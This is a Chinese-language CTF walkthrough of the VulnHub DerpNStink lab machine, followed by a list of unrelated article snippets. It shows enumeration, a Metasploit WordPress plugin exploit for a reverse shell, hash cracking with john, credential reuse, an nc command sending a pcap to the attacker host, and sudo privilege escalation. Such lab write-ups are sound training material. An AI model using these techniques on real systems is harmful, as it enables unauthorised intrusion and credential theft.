大余xiyou
大余xiyou

No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习

**

VulnHub-DerpNStink: 1-Walkthrough

**

靶机地址：https://www.vulnhub.com/entry/derpnstink-1,221/
靶机难度：中级（CTF）
靶机发布日期：2018年2月9日
靶机描述：This is a boot2root Ubuntu based virtual machine. It was tested on VMware Fusion and VMware Workstation12 using DHCP settings for its network interface. It was designed to model some of the earlier machines I encountered during my OSCP labs also with a few minor curve-balls but nothing too fancy. Stick to your classic hacking methodology and enumerate all the things!
Your goal is to remotely attack the VM and find all 4 flags eventually leading you to full root access. Don’t forget to #tryharder
Example: flag1(AB0BFD73DAAEC7912DCDCA1BA0BA3D05). Do not waste time decrypting the hash in the flag as it has no value in the challenge other than an identifier.
目标：得到root权限&找到四个flag.txt
作者：大余
时间：2020-01-03

请注意：对于所有这些计算机，我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。

一、信息收集

我们在VM中需要确定攻击目标的IP地址，需要使用nmap获取目标IP地址：
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第1张图片
我们已经找到了此次CTF目标计算机IP地址：192.168.182.147
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第2张图片
只开了三种服务：FTP，SSH和HTTP…
直接访问80端口
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第3张图片
一个胖子一个瘦子…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第4张图片
作者真调皮…弄个旗帜…flag1很顺利的找到了
flag1=52E37291AEDF6A46D7D0BB8A6312F4F9F1AA4975C248C3F0E008CBA09D6E9166
不用说，继续找flag2
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第5张图片
源代码还有个有用信息（图中红框）
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第6张图片
<-- @stinky, make sure to update your hosts file with local dns so the new derpnstink blog can be reached before it goes live -->
意思是要我们更新本地的dns服务，才能访问博客
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第7张图片
192.168.182.147 derpnstink.local 写入本地hosts中即可
然后对目录进行爆破
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第8张图片
在dirb找到的所有文件中，第一个是robots.txt
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第9张图片
仅包含文件夹/php/和/temporary/，这两个文件夹dirb都已找到了…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第10张图片
该文件/temporary/index.html没有任何有用的信息……让我加油…!!
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第11张图片
访问目录/weblog/
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第12张图片
前面是介绍Mr. Derp和Uncle Stinky的故事
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第13张图片
直接访问/weblog/wp-admin/目录，使用默认账号密码admin访问，成功登陆，但是，此管理员用户不是WordPress的实际管理员，并且缺少大多数管理权限……用户权限只能管理幻灯片…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第14张图片
命令：wpscan --url ‘http://derpnstink.local/weblog/’
Wpscan扫后，Slideshow Gallery插件插件可以利用

**

二、提权

我们使用metasploit来利用此漏洞
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第15张图片
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第16张图片
取得反向外壳后，打开wp-config.php并找到数据库的名称和访问数据库所需的用户
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第17张图片
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第18张图片
查看发现数据库账号密码root/mysql
前面wepcan扫描图中，可以看到列举了34514.c可以利用此shell进行提权
还可以使用msfvenom生成一个PHP反向外壳，然后使用admin用户上传文件，进行提权
还有很多提权的方法，这边我不介绍了，最近开始进攻oscp了
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第19张图片
直接登录访问数据库！！
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第20张图片
在wp-posts中找到了flag2.txt ：flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)

No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第21张图片
在user有第二个账户
这边我们还可以进入数据库底层查看信息…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第22张图片
这里命令我就不多解释了，前面写的几篇文章有说过…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第23张图片
查看到有多个账户…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第24张图片

No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第25张图片
数据库也看到了第二个账户的信息…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第26张图片
命令：echo ‘ P P PBW6NTkFvboVVCHU2R9qmNai1WfHSC41’ >> hash.hash
命令：john hash.hash --wordlist=/usr/share/wordlists/rockyou.txt
命令：john hash.hash --show
使用开膛手进行爆破，这边如果没有rockyou.txt库的，可以去github下载
使用暴破出的用户名/密码：unclestinky/wedgie57进行登录
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第27张图片
登录后在主页也发现了flag2的信息，前面也发现过了
flag2(a7d355b26bda6bf1196ccffead0b2cf2b81f0a9de5b4876b44407f1dc07e51e6)
继续寻找flag3.txt
在这里插入图片描述
发现底层有mrderp和stinky两个用户
前面nmap扫描出了21：ftp端口，尝试用wedgie57登录试试
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第28张图片
这里用户stinky是成功的，我这边对ftp命令还不太熟悉，我进web图形化操作
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第29张图片
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第30张图片

No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第31张图片
没啥有用的信息…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第32张图片
这边找到了key密匙，进行解密试试
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第33张图片
权限不够…加权即可
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第34张图片
这边已经登录了
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第35张图片
刚想一个一个文件看过去，第一个文件就给我找到了flag3信息
flag3(07f62b021771d3cf67e2e1faf18769cc5e5c119ad7d4d1847a11e11d6d5a7ecb)
继续找flag4
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第36张图片
命令：strings Documents/derpissues.pcap | grep mrderp
继续查看第二个文件夹发现个pcap文件，进入查看获得用户mrderp，把文件考出到本地，用wireshark查看试试
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第37张图片
命令：nc 192.168.182.149 4444 < derpissues.pcap
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第38张图片
命令：nc -l -p 4444 > derp.pcap
导出后打开…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第39张图片
这里信息量很大，需要耐心寻找
选择http流量筛选，一个一个找下去…
找到了密码：derpderpderpderpderpderpderp
进行登录！！！
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第40张图片
成功登录…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第41张图片
查看
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第42张图片
Sudoers File issues
Self Help Web page at https://pastebin.com/RzK9WfGw
意思是让我们访问地址
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第43张图片
链接，显示了sudo
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第44张图片
提示可以在靶机下运行derpy二进制
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第45张图片
这边创建个相同目录，然后创建文件，随意写入二进制代码
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第46张图片
创建完保存退出后
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第47张图片
运行perty.sh后，提权成功…
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第48张图片
No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习_第49张图片
flag4(49dca65f362fee401292ed7ada96f96295eab1e589c52e4e66bf4aedda715fdd)

写这篇文章还是加深了很多技术的知识，中间有很多种渗透的方法可以执行，涉及了很多细节知识点，希望喜欢渗透的好好专研！！！
最近事情很多，尽量达到一天一篇文章！！！

由于我们已经成功得到root权限&找到四个flag.txt，因此完成了CTF靶机，希望你们喜欢这台机器，请继续关注大余后期会有更多具有挑战性的机器，一起练习学习。

如果你有其他的方法，欢迎留言。要是有写错了的地方，请你一定要告诉我。要是你觉得这篇博客写的还不错，欢迎分享给身边的人。
在这里插入图片描述

你可能感兴趣的:(No.7-VulnHub-DerpNStink: 1-Walkthrough渗透学习)

  • 渗透学习-8-信息打点-系统篇&端口扫描&CDN 服务&负载均衡&WAF 防火墙 wh00am 学习web安全网络安全
    知识点：1、获取网络信息-服务厂商&网络架构服务厂商-获知服务器的一些特性，比如阿里云会自带防护网络架构-获知网络架构的一些情况，多台服务器？比如学校或者大型机构，可能使用了反向代理机器，明明是在提供外网服务，但是可能探测不到什么有意义的资产，那么有可能就是这样情况网络架构反向代理实例在视频00:24:00左右2、获取服务信息-应用协议&内网资产web应用-FTPSSHRedis各种服务内网资产-
  • 浅谈SQL注入的四种防御方法 买Lemon也用劵 SQL注入phpweb安全
    最近了解到安全公司的面试中都问到了很多关于SQL注入的一些原理和注入类型的问题，甚至是SQL注入的防御方法。SQL注入真的算是web漏洞中的元老了，著名且危害性极大。下面这里就简单的分享一下我总结的四种SQL注入防御手段，加深理解，方便下次遇到这种问题时可以直接拿来使用。(主要是怕面试中脑壳打铁，这种情况太常见了)SQL注入占我们渗透学习中极大地一部分，拥有这很重要的地位。随着防御手段的不段深入，
  • 渗透学习-靶场篇-pikachu靶场详细攻略（持续更新中-） dfzy$_$ 渗透学习学习web安全安全
    提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、pikachu安装二、SQL-Inject数字型注入（post）利用burpsuite注入利用hackbar注入字符型注入（get)搜索型注入xx型注入insert/update注入delete注入http头部注入布尔盲注时间盲注宽字节注入三、xss安装反射型（get）反射型（post）存储
  • VulnHub-Lord Of The Root_1.0.1-靶机渗透学习 嗯嗯呐 linuxmysql运维base64ubuntu
    靶机地址：https://www.vulnhub.com/entry/lord-of-the-root-101,129/靶机难度：中等（CTF）靶机描述：这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。目标：得到root权限&找到flag.txt作者：嗯嗯呐一、信息采集nmap扫描确定靶机IP地址扫描
  • No.6-VulnHub-Lord Of The Root: 1.0.1-Walkthrough渗透学习 大余xiyou linuxpython数据库安全
    **VulnHub-LordOfTheRoot:1.0.1-Walkthrough**靶机地址：https://www.vulnhub.com/entry/lord-of-the-root-101,129/靶机难度：中等（CTF）靶机发布日期：2015年9月23日靶机描述：这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电
  • No.20-基础-渗透学习 大余xiyou linuxpython人工智能java编程语言
    **基础篇**目标：通关vulnhub平台上的靶机作者：大余时间：2020-01-17请注意：对于所有这些计算机，我已经使用VMware运行下载的计算机。我将使用KaliLinux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的，如果列出的技术用于其他任何目标，我概不负责。一、练习平台想渗透入门的小伙伴，建议已下平台最少练熟30~50台以上，熟悉渗透思路。HackTheBox：htt
  • 「上海论文网」机械设计及理论专业硕士论文写作技巧 MBA论文肖博士
    机械设计及理论专业是一个对学生技术和理论知识要求都很高的专业，在教学实践中，教师秉承机电合一以及机电一体化的技术教学理念。在教学中，常常会将社会高科技复合技术与本专业的专业知识相结合，以渗透学习为主，技术指导为辅，培养出复合型人才，在对机电一体化研究的同时，强调分析应用能力，不仅拥有强大的理论知识做后盾，更是培养学生的具体操作实践能力。上海论文网机械设计及理论专业硕士毕业论文一方面要展示所学的技术
  • 『VulnHub系列』dpwwn: 1-Walkthrough 1nsIght VulnHubLinux靶机Crontab提权
    靶机地址难度：初级靶机发布日期：2019年8月4日靶机描述：Thisboot2rootisalinuxbasedvirtualmachineandhasbeentestedusingVMwareworkstation14.ThenetworkinterfaceofVMwilltakeit’sIPsettingsfromDHCP(NetworkMode:NAT).Goal:Gaintherootpr
  • 如何入门网络安全行业？史上最全学习路线资料分享 Day1_王老师
    一、学习的优先级web渗透、内网渗透、网站渗透，这三者的学习的优先级应该是第一阶段：web渗透第二阶段：网站渗透第三阶段：内网渗透二、各个阶段的学习路线规划2.1第一阶段：web渗透学习基础时间：1周~2周：①了解基本概念：（SQL注入、XSS、上传、CSRF、一句话木马、等：可以通过Google搜索获取资料）为之后的WEB渗透测试打下基础。②查看一些论坛的一些Web渗透资料，学一学案例的思路，每
  • 学习策略的兴起和发展 冰糖雪儿
    没有任何教学目标比“使学生成为独立的、自主的、高效的学习者”更重要。在我的教学中我会有意识的渗透学习策略。比如解决问题时利用画线段图或画圈理解题意。这样的例子也不少，但是学生遇到不会的问题很少主动有意识的去画图。如遇不会的问题在老师的提醒下，画个图分析分析，有时候画的图很对，就是不看图，还纠结于题目。作为老师的我有时候真的猜不出孩子的心思。怎样让孩子们有意识的去利用学习策略解决问题，是我从这本书中
  • SMB信息泄露和渗透学习 Lstop. 渗透
    SMB信息泄露SMB协议，计算机可以访问网络资源，下载对应的资源文件。先通过ifcongig命令找到攻击机IP：192.168.174.128然后扫出靶机IP：192.168.174.129使用：nmap-sV192.168.174.129命令，通过扫描，我们可以看到靶机开放了smb服务尝试使用空口令登录（提示输入密码直接空密码回车）发现一个打印驱动、一个共享文件夹share$和一个空链接，尝试一
  • 网络安全kali渗透学习 web渗透入门 Layer子域名挖掘机收集信息 程序员漏网之鱼
    Layer子域名挖掘机是一款域名查询工具，可提供网站子域名查询服务。拥有简洁的界面、简单的操作模式，支持服务接口、暴力搜索、同服挖掘三种模式，支持打开网站、复制域名、复制IP、复制CDN、导出域名、导出IP、导出域名+IP、导出域名+IP+WEB服务器以及导出存活网站。这篇文章教大家如何进行Kali系统的被动信息收集以下有视频版还有文字版不知道怎么操作的请看文字版的，里面详细的步骤。关注公众号侠盗
  • 渗透学习-靶场篇-WebGoat靶场（JWT攻击） dfzy$_$ 渗透学习学习安全服务器
    文章目录前言一、介绍JWTJWT令牌结构获取的令牌的基本过程二、攻击方式以及靶场的搭建1.安装cWebGoat2.空加密验证攻击3.字典爆破三、认证-键值逻辑前言本次主要学习了javaweb项目方面任意出现的一些安全问题，最主要的是有关于JWT身份认证上的攻击，并利用webgoat靶场进行了一些实验。一、介绍JWTJWT的全称是JsonWebToken。它遵循JSON格式，将用户信息加密到toke
  • No.82-HackTheBox-windows-Hackback-Walkthrough渗透学习 大余xiyou HackTheboxpythonlinuxjava安全数据库
    **HackTheBox-windows-Hackback-Walkthrough**靶机地址：https://www.hackthebox.eu/home/machines/profile/176靶机难度：疯狂（6.5/10）靶机发布日期：2019年5月29日靶机描述：HackbackisaninsanedifficultyWindowsboxwithsomegoodtechniquesatpl
  • 『VulnHub系列』WTF: 1-Walkthrough 1nsIght VulnHub
    靶机地址难度：中等靶机发布日期：2019年11月22日靶机描述：beginner-intermediatemachine,yourgoalistoread/root/flag.txt.Remember,goodenumeration!VMwarebased,youmayhaveproblemswithVB.博客中如有任何问题，恳请批评指正，万分感谢。个人邮箱：want2live233@gmail.
  • Vulnhub-DERPNSTINK: 1-靶机渗透学习 嗯嗯呐 linuxwordpresshash运维mysql
    靶机地址：https://www.vulnhub.com/entry/derpnstink-1,221/靶机难度：中等（CTF）靶机描述：这是基于Ubuntu的boot2root虚拟机。它已使用DHCP设置的网络接口在VMwareFusion和VMwareWorkstation12上进行了测试。它旨在模拟我在OSCP实验室中遇到的一些较早的机器，同时还带有一些较小的曲线球，但是没有什么花哨的。坚持
  • 2021年1月4日-Vulnhub-DerpNStink渗透学习 在下菜鸟 经验分享kalilinux安全
    2021年1月4日-Vulnhub-DerpNStink渗透学习靶机地址：https://www.vulnhub.com/entry/derpnstink-1,221/kali地址：192.168.31.77靶机IP地址：192.168.31.31开放21、22、80端口访问主页，发现flag1和/webnotes/info.txt路径，老手法了。更新dns解析，才能访问blog修改/etc/ho
  • VulnHub-DerpNStink：1渗透学习 F10Sec 渗透测试安全pythonlinux
    前言靶机地址：https://download.vulnhub.com/derpnstink/VulnHub2018_DeRPnStiNK.ova靶机难度：中级（CTF）靶机发布日期：2018年2月9日靶机描述：Derp先生和Stinky叔叔是两位正在创办自己的公司DerpNStink的系统管理员。他们没有聘请合格的专业人士来建立他们的IT环境，而是决定将他们自己的系统组装在一起，该系统几乎准备好
  • ubuntu18.04安装QT5 退役小学生呀 qt开发语言linux运维服务器
    ubuntu18.04安装QT51、说明QT界面本不应该做为一个很高的知识点，问题是，越来越多的程序实验，需要界面支持，或用界面显得更加方便，因而专门启动该栏目专门介绍QT方法。因为体系比较庞大，因此，需要一点一点渗透学习。然而，安装好的QT5能否被C++工程调用，这些还是需要慎重行事，否则不成。2、安装2.1第一步下载Qt5.14.2安装包国内使用清华镜像进行下载:选择Qt5.14.2版本官方镜
  • 大龄零基础，想要转行做网络安全行业，怎样比较可行？ 程序学到昏 web安全安全网络软件工程网络安全黑客
    理清web渗透学习思路，把自己的学习方案和需要学习的点全部整理，你会发现突然渗透思路就有点眉目了。程序员之间流行一个词，叫35岁危机，意思就是说35岁是个坎，容易被淘汰。那么安全行业有这个坎吗？我觉得没有，因为安全和之前岗位不一样，年龄大的他经验更丰富，反而比较吃香，尤其很多大厂招聘要求都是5-10年，这没有30、40岁能有10年经验？网络安全好混，但不容易混得好。其实任何行业都是这样，想混得好，
  • VulnHub-LazySysAdmin: 1Walkthrough渗透学习 F10Sec 渗透测试linux安全
    VulnHub-LazySysAdmin:1Walkthrough渗透学习前言靶机地址：https://download.vulnhub.com/lazysysadmin/Lazysysadmin.zip靶机难度：中级（CTF）靶机发布日期：2016年4月27日靶机描述：这是SickOs的后续系列中的第二篇，并且与先前的发行版无关，挑战范围是在系统上获得最高特权。目标：得到root权限&找到fla
  • 一节好课——听课感悟1 W温暖
    因为疫情在家办公，每天就有了很多时间去听课学习，听了一段时间的课，受益匪浅。不管是从教学设计，教学技能等方面也有了一些新的认识与想法。如何设计一节学生有较高的参与度，兴趣度的课呢？如何让学生在课堂上都能“动”起来呢？我听了这些大师们的课之后，也有了一些自己的想法，我就从以下几点谈谈自己的想法。第一，教学设计中要渗透学习方法的指导。一节语文课绝不是领着学生读读书，写写字这么简单的事。我听了从三年级到
  • 祁县第四小学学习心得 淑梅疏影
    城内小学王淑梅秋高气爽，我们城内小学的老师在校长的带领下来到了晋中祁县第四小学学习校本课堂。希望能够取到真金，给我们学校的教育增添新鲜的血液。不虚此行，在如下方面受益很深。听到的看到的想到了一，对教学的重视，从点滴做起。楼梯上一排排重点需要掌握的单词，淘心池这些细心精心的校园布置给学生日行目见渐渐渗透学习知识的氛围。二，专业化课堂一律全英语。把学本课堂的各个步骤英语化。并且灵活转变。既符合课堂交给
  • VulnHub-Raven-靶机渗透学习 嗯嗯呐 mysqllinux运维
    靶机地址：https://www.vulnhub.com/entry/raven-2,269/靶机描述：Raven2是中级boot2rootVM。有四个标志要捕获。在多次违反之后，RavenSecurity采取了额外的措施来加固其Web服务器，以防止黑客入侵。您是否仍然可以违反Raven？目标：找到4个flag作者：嗯嗯呐信息采集nmap扫描靶机的IP地址扫描主机端口访问80端口，查看WEB界面使
  • wireshark渗透学习笔记（实验环境搭建） RangerIvan wireshark学习笔记
    实验准备软件：eNSP：可以模拟网络环境(现在官网已经找不到下载了，只能通过其他途径)。virtualbox：为eNSP提供支持。wireshark：这个就是我们要学习的东西。winpcap：为wireshark提供支持。VMware：虚拟机。kalilinux镜像：用来在VMware中安装kali系统。PS：eNSP和virtualbox很容易出现不兼容和各种错误，请自行耐心解决，因为错误姿势太
  • 生命在于学习——APP渗透学习笔记 易水哲 生命在于学习学习笔记
    一、app渗透篇1、Android简介自从Android被谷歌收购（2005年），谷歌已经完成了整个开发，在过去的9年里，尤其是在安全方面，有很多变化。现在，它是世界上最广泛使用的智能手机平台，特别是由于不同的手机制造商，如LG，三星，索尼和HTC的支持。Android的后续版本中引入了许多新概念，例如GoogleBouncer和GoogleAppVerifier。2、Android架构如果我们看
  • 内网渗透学习总结 LLHSKY 内网学习web安全
    内网渗透内网渗透思路：通过域主机，找到域控ip以及管理员账号，利用域成员主机为跳板，扩大渗透范围。设法从域成员主机内存中dump域管理密码，进而拿下域控渗透整个内网。12server7-域控192.168.1.1212server-客户机192.168.1.17内网渗透相关命令queryuser||qwinsta查看当前在线用户netuser查看本机用户netuser/domain查看域用户net
  • 一个完整的渗透学习路线是怎样的？如何成为安全渗透工程师？ 白面安全猿 ctf网络安全渗透安全学习web安全
    前言1/我是如何学习黑客和渗透？我是如何学习黑客和渗透测试的，在这里，我就把我的学习路线写一下，让新手和小白们不再迷茫，少走弯路，拒绝时间上的浪费！2/学习常见渗透工具的使用注意：这里绝对不是说的那些什么抓鸡啊、远控啊一些无脑软件，你觉得你用了那些软件后有什么？一丝虚荣心？还是成就感？不，你在别人大牛的眼里什么都不是，你还拿着别人玩烂了的东西到处一顿乱扫，所以你需要系统的学习，就算你说你时间不够，
  • 渗透学习-SQL注入篇-基础知识的学习（持续更新中） dfzy$_$ 渗透学习学习sqlweb安全
    提示：仅供进行学习使用，请勿做出非法的行为。如若由任何违法行为，将依据法律法规进行严惩！！！文章目录前言一、SQL注入产生的原因二、手工注入大致过程1.判断注入点：2.猜解列名3.猜解能够回显数据的地方：4.信息收集、注入：三、注入的大致分类1.盲注2、有关于http头部的注入3、二次注入4、宽字节注入5、堆叠注入6、orderby注入四、WAF原理及其绕过姿势参考文献前言提示：这里可以添加本文要
  • 2021-09-15 早起的茶叶
    子曰：学而时习之，不亦说乎？有朋自远方来，不亦乐乎？人不知而不愠不亦君子乎？勤劳致富国学智慧永远陪伴着我们成长，告诉我们复习是成就更好自己的必经之路。我最近也真正掀起了复习理财知识和技能的浪潮，为了彻底进入投资领域开始发力，先从每周课程的顺口溜开始，步步渗透学习，抓住重点形成框架，持续不断的打磨，实践，最终达到熟练掌握的程度，并有效的发展成自己身体的一部分，以便于随时拿起随时都可以运用自如，侃侃而
  • jQuery 跨域访问的三种方式 No 'Access-Control-Allow-Origin' header is present on the reque qiaolevip 每天进步一点点学习永无止境跨域众观千象
    XMLHttpRequest cannot load http://v.xxx.com. No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://localhost:63342' is therefore not allowed access. test.html:1
  • mysql 分区查询优化 annan211 java分区优化mysql
    分区查询优化 引入分区可以给查询带来一定的优势，但同时也会引入一些bug. 分区最大的优点就是优化器可以根据分区函数来过滤掉一些分区，通过分区过滤可以让查询扫描更少的数据。 所以，对于访问分区表来说，很重要的一点是要在where 条件中带入分区，让优化器过滤掉无需访问的分区。 可以通过查看explain执行计划，是否携带 partitions
  • MYSQL存储过程中使用游标 chicony Mysql存储过程
    DELIMITER $$ DROP PROCEDURE IF EXISTS getUserInfo $$ CREATE PROCEDURE getUserInfo(in date_day datetime)-- -- 实例-- 存储过程名为：getUserInfo-- 参数为：date_day日期格式:2008-03-08--    BEGINdecla
  • mysql 和 sqlite 区别 Array_06 sqlite
    转载： http://www.cnblogs.com/ygm900/p/3460663.html mysql 和 sqlite 区别 SQLITE是单机数据库。功能简约，小型化，追求最大磁盘效率 MYSQL是完善的服务器数据库。功能全面，综合化，追求最大并发效率 MYSQL、Sybase、Oracle等这些都是试用于服务器数据量大功能多需要安装，例如网站访问量比较大的。而sq
  • pinyin4j使用 oloz pinyin4j
    首先需要pinyin4j的jar包支持；jar包已上传至附件内 方法一:把汉字转换为拼音；例如：编程转换后则为biancheng      /** * 将汉字转换为全拼 * @param src 你的需要转换的汉字 * @param isUPPERCASE 是否转换为大写的拼音； true:转换为大写；fal
  • 微博发送私信 随意而生 微博
    在前面文章中说了如和获取登陆时候所需要的cookie，现在只要拿到最后登陆所需要的cookie，然后抓包分析一下微博私信发送界面 http://weibo.com/message/history?uid=****&name=**** 可以发现其发送提交的Post请求和其中的数据， 让后用程序模拟发送POST请求中的数据，带着cookie发送到私信的接入口，就可以实现发私信的功能了。
  • jsp 香水浓 jsp
    JSP初始化     容器载入JSP文件后，它会在为请求提供任何服务前调用jspInit()方法。如果您需要执行自定义的JSP初始化任务，复写jspInit()方法就行了 JSP执行     这一阶段描述了JSP生命周期中一切与请求相关的交互行为，直到被销毁。     当JSP网页完成初始化后
  • 在 Windows 上安装 SVN Subversion 服务端 AdyZhang SVN
    在 Windows 上安装 SVN Subversion 服务端2009-09-16高宏伟哈尔滨市道里区通达街291号   最佳阅读效果请访问原地址：http://blog.donews.com/dukejoe/archive/2009/09/16/1560917.aspx   现在的Subversion已经足够稳定，而且已经进入了它的黄金时段。我们看到大量的项目都在使
  • android开发中如何使用 alertDialog从listView中删除数据？ aijuans android
    我现在使用listView展示了很多的配置信息，我现在想在点击其中一条的时候填出 alertDialog,点击确认后就删除该条数据，（ ArrayAdapter ，ArrayList，listView 全部删除），我知道在 下面的onItemLongClick 方法中 参数 arg2  是选中的序号，但是我不知道如何继续处理下去 1 2 3
  • jdk-6u26-linux-x64.bin 安装 baalwolf linux
    1.上传安装文件(jdk-6u26-linux-x64.bin) 2.修改权限 [root@localhost ~]# ls -l /usr/local/jdk-6u26-linux-x64.bin 3.执行安装文件 [root@localhost ~]# cd /usr/local [root@localhost local]# ./jdk-6u26-linux-x64.bin&nbs
  • MongoDB经典面试题集锦 BigBird2012 mongodb
    1.什么是NoSQL数据库？NoSQL和RDBMS有什么区别？在哪些情况下使用和不使用NoSQL数据库？ NoSQL是非关系型数据库，NoSQL = Not Only SQL。 关系型数据库采用的结构化的数据，NoSQL采用的是键值对的方式存储数据。 在处理非结构化/半结构化的大数据时；在水平方向上进行扩展时；随时应对动态增加的数据项时可以优先考虑使用NoSQL数据库。 在考虑数据库的成熟
  • JavaScript异步编程Promise模式的6个特性 bijian1013 JavaScriptPromise
            Promise是一个非常有价值的构造器，能够帮助你避免使用镶套匿名方法，而使用更具有可读性的方式组装异步代码。这里我们将介绍6个最简单的特性。         在我们开始正式介绍之前，我们想看看Javascript Promise的样子： var p = new Promise(function(r
  • [Zookeeper学习笔记之八]Zookeeper源代码分析之Zookeeper.ZKWatchManager bit1129 zookeeper
    ClientWatchManager接口 //接口的唯一方法materialize用于确定那些Watcher需要被通知 //确定Watcher需要三方面的因素1.事件状态 2.事件类型 3.znode的path public interface ClientWatchManager { /** * Return a set of watchers that should
  • 【Scala十五】Scala核心九：隐式转换之二 bit1129 scala
    隐式转换存在的必要性，   在Java Swing中，按钮点击事件的处理，转换为Scala的的写法如下：   val button = new JButton button.addActionListener( new ActionListener { def actionPerformed(event: ActionEvent) {
  • Android JSON数据的解析与封装小Demo ronin47
    转自：http://www.open-open.com/lib/view/open1420529336406.html package com.example.jsondemo; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject;    impor
  • [设计]字体创意设计方法谈 brotherlamp UIui自学ui视频ui教程ui资料
      从古至今，文字在我们的生活中是必不可少的事物，我们不能想象没有文字的世界将会是怎样。在平面设计中，UI设计师在文字上所花的心思和功夫最多，因为文字能直观地表达UI设计师所的意念。在文字上的创造设计，直接反映出平面作品的主题。 如设计一幅戴尔笔记本电脑的广告海报，假设海报上没有出现“戴尔”两个文字，即使放上所有戴尔笔记本电脑的图片都不能让人们得知这些电脑是什么品牌。只要写上“戴尔笔
  • 单调队列-用一个长度为k的窗在整数数列上移动，求窗里面所包含的数的最大值 bylijinnan java算法面试题
    import java.util.LinkedList; /* 单调队列 滑动窗口 单调队列是这样的一个队列：队列里面的元素是有序的，是递增或者递减 题目：给定一个长度为N的整数数列a(i),i=0,1,...,N-1和窗长度k. 要求：f(i) = max{a(i-k+1),a(i-k+2),..., a(i)},i = 0,1,...,N-1 问题的另一种描述就
  • struts2处理一个form多个submit chiangfai struts2
    web应用中，为完成不同工作，一个jsp的form标签可能有多个submit。如下代码： <s:form action="submit" method="post" namespace="/my"> <s:textfield name="msg" label="叙述：">
  • shell查找上个月，陷阱及野路子 chenchao051 shell
    date -d "-1 month" +%F     以上这段代码，假如在2012/10/31执行，结果并不会出现你预计的9月份，而是会出现八月份，原因是10月份有31天，9月份30天，所以-1 month在10月份看来要减去31天，所以直接到了8月31日这天，这不靠谱。     野路子解决：假设当天日期大于15号
  • mysql导出数据中文乱码问题 daizj mysql中文乱码导数据
    解决mysql导入导出数据乱码问题方法： １、进入mysql，通过如下命令查看数据库编码方式： mysql>  show variables like 'character_set_%'; +--------------------------+----------------------------------------+ | Variable_name&nbs
  • SAE部署Smarty出现：Uncaught exception 'SmartyException' with message 'unable to write dcj3sjt126com PHPsmartysae
      对于SAE出现的问题：Uncaught exception 'SmartyException' with message 'unable to write file...。 官方给出了详细的FAQ：http://sae.sina.com.cn/?m=faqs&catId=11#show_213 解决方案为：   01 $path 
  • 《教父》系列台词 dcj3sjt126com
    Your love is also your weak point. 你的所爱同时也是你的弱点。   If anything in this life is certain, if history has taught us anything, it is that you can kill anyone.   不顾家的人永远不可能成为一个真正的男人。 &
  • mongodb安装与使用 dyy_gusi mongo
    一.MongoDB安装和启动,widndows和linux基本相同 1.下载数据库,     linux:mongodb-linux-x86_64-ubuntu1404-3.0.3.tgz 2.解压文件,并且放置到合适的位置     tar -vxf mongodb-linux-x86_64-ubun
  • Git排除目录 geeksun git
